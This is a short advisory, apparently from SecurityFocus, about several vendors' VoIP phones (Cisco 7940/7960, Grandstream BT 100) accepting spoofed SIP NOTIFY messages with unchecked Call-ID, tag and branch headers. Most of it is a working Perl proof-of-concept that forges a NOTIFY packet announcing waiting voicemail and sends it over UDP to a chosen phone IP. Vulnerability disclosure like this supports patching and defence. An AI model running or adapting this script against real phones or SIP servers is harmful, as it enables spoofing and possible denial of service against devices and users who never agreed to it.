source: http://www.securityfocus.com/bid/14174/info

Multiple Vendor VoIP Phones handle spoofed SIP status messages in an improper manner. This issue could potentially lead a to a denial of service condition against a server.

The issue arises because the affected phones do not verify the 'Call-ID', 'tag' and 'branch' headers of NOTIFY messages and process spoofed status messages instead of rejecting the messages.

Cisco 7940 and 7960 and Grandstream BT 100 phones are affected by this issue. Other vendors may be vulnerable as well. 

#!/usr/bin/perl
# SIP NOTIFY POC by DrFrancky@securax.org
use Socket;
SendSIPTo("10.0.0.1"); # IP of the phone

sub SendSIPTo{
$phone_ip = shift;
$MESG="NOTIFY sip:chaos\@$phone_ip:5060 SIP/2.0
Via: SIP/2.0/UDP 1.2.3.4:5060;branch=000000000000000
From: \"drfrancky\" <sip:drfrancky\@1.2.3.4>;tag=000000000
To:  <sip:chaos\@$phone_ip>
Contact: <sip:drfrancky\@1.2.3.4>
Event: message-summary
Call-ID: drfrancky\@1.2.3.4
CSeq: 102 NOTIFY
Content-Type: application/simple-message-summary
Content-Length: 37
Messages-Waiting: yes
Voicemail: 3/2";

$proto = getprotobyname('udp');
socket(SOCKET, PF_INET, SOCK_DGRAM, $proto) ;
$iaddr = inet_aton("0.0.0.0");
$paddr = sockaddr_in(5060, $iaddr);
bind(SOCKET, $paddr) ;
$port=5060;
$hisiaddr = inet_aton($phone_ip) ;
$hispaddr = sockaddr_in($port, $hisiaddr);
send(SOCKET, $MESG, 0,$hispaddr ) || warn "send $host $!\n";
}